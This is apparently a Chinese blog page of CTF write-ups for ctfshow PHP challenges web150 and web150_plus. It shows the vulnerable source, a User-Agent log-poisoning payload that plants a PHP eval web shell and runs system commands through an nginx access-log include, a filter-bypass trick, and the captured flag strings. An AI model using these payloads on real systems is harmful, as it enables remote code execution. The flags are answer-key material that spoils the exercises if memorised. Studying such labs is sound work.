# @Last Modified time: 2020-10-19 04:34:40*/error_reporting(0);
highlight_file(__FILE__);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}
ctfshow{8d6220b6-ba24-4de9-9314-5f788d596b98}
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
?>
考察User-Agent日志包含
bp抓包,将User-Agent改为<?php eval($_POST[1]);?>,然后传参
payload:
GET: ?isVIP=1
POST: ctf=/var/log/nginx/access.log&1=system('tac f*');
ctfshow{75dbeb0a-1050-4825-b9a0-cf25f5fefa37}
web150_plus
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}
从上述代码中可以看出不能有:
和log
说明不能用伪协议和日志包含
使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性
传入?..CTFSHOW..=phpinfo就会执行phpinfo()
ctfshow{88fa67ef-7a37-423f-87b9-d32ec87b89d3}
ctf-web入门-php特性相关推荐
- CTF Web入门 命令执行 笔记
CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...
- Ctfshow web入门 PHP特性篇 web89-web151 全
web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...
- CTF·WEB入门之路
Hello~大家好,这里是KOKO师傅! 对于初学者来说,打CTF之路仿佛是摸石头过河,而今天这篇文章则是一篇"从入门到入土"级别的概括类文章.从这篇文章中你可以了解到CTF的一些 ...
- ctf show-web入门 php特性篇部分题解
ctfshow php特性 preg_match() intval() web96(路径问题) web98 web99(in_array弱类型比较) in_array() web100 var_dum ...
- ctfshow web入门 php特性
文章目录 web89 web90 web91 web92 姿势一 姿势二 姿势三 web93 web94 web95 web96 姿势一 姿势二 web97 web98 web99 web100 姿势 ...
- CTF — web入门(持续更新…)
WEB简介 web俗称web安全,当大家打开浏览器那一刻.就开始和web打交道了,web安全是网络中最经典的应用之一. WEB常见术语 web前端 Web前端开发工程师,主要职责是利用(X)HTML/ ...
- ctfshow web入门 PHP特性学习笔记91
web 91 payload: ?cmd=php%0a1 show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_ma ...
- ctfshow web入门 PHP特性后篇(web133-web150)
目录 web133 web134 web135 web136 web137 web138 web139 web140 web141 web142 wen143 web144 web145-web150 ...
- 信息安全web入门——南邮ctf解题
南京邮电大学ctf--web 签到题 查看源码 鼠标右键查看源码或ctrl+u md5 collision 题目给出源码 <?php $md51 = md5('QNKCDZO'); $a = @ ...
- CTF——web个人总结
CTF web个人总结 仅供个人参考 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结 工具(含后渗透) 解题思路 一.普通思 ...
最新文章
- 前端开发面试题总结之——JAVASCRIPT(一)
- 按次计费接口的简单实现思路
- 2021考研数一李正元400题、张宇4套卷题目整理
- java 手势识别,AndroidStudio:手势识别
- 译: 3. RabbitMQ Spring AMQP 之 Publish/Subscribe 发布和订阅
- JavaScript-分支和循环
- ThinkPhp 使用 PHP_XLSXWriter 代替 PHPExcel 百万级数据单次导出
- QML Text 文字元素
- linux高通内核移植工具十教程
- 如何把大写金额变为小写数字_如何将小写金额转换为大写金额?这几个公式你至少要学会一个……...
- java excel添加批注
- 参加了feedsky的blog挑战赛
- (11) IFC中物理文件解析 (Industry Foundation Class)
- Java之一 Java语 言 的 产 生 及 其 特 点
- ubuntu 解包和压包.img文件
- Android JSON解析并展现在listactivity实例
- HTML5期末考核大作业,个人网站—— 程序员个人简历模板下载HTML+CSS+JavaScript
- C语言学生成绩管理系统——检查学号姓名,双向循环链表
- 野路子玩Qt,第三十一集,擦玻璃游戏
- Generative Adversarial Nets 生成对抗网络
热门文章
- 基于CISe@ZnS新型近红外二区量子点生物探针(CuInS2/ZnS量子点,Cd掺杂ZnO量子点,InP/ZnS,荧光Ag2S量子点)
- VS code 保存自动刷新chrome浏览器(详细)
- 计算机操作系统的主要功能
- Ubuntu 20.04 桌面美化
- 学生专用计算机怎样开启关机,电脑自动关机,教您笔记本怎么设置自动关机
- 服务器性能差用cdn有用吗,CDN加速有用吗?对网站有什么好处?
- 计算机桌面图标乱码,电脑软件上的文字变乱码怎么办?怎么修复?
- dfuse 和 EOS Studio 携手让开发者工具更上一层楼
- 10个问题说清楚 什么是元宇宙 - 十问元宇宙:如何将抽象的概念具象化?
- 03-CPU散片是什么意思?靠谱吗?散装CPU与盒装CPU有什么区别?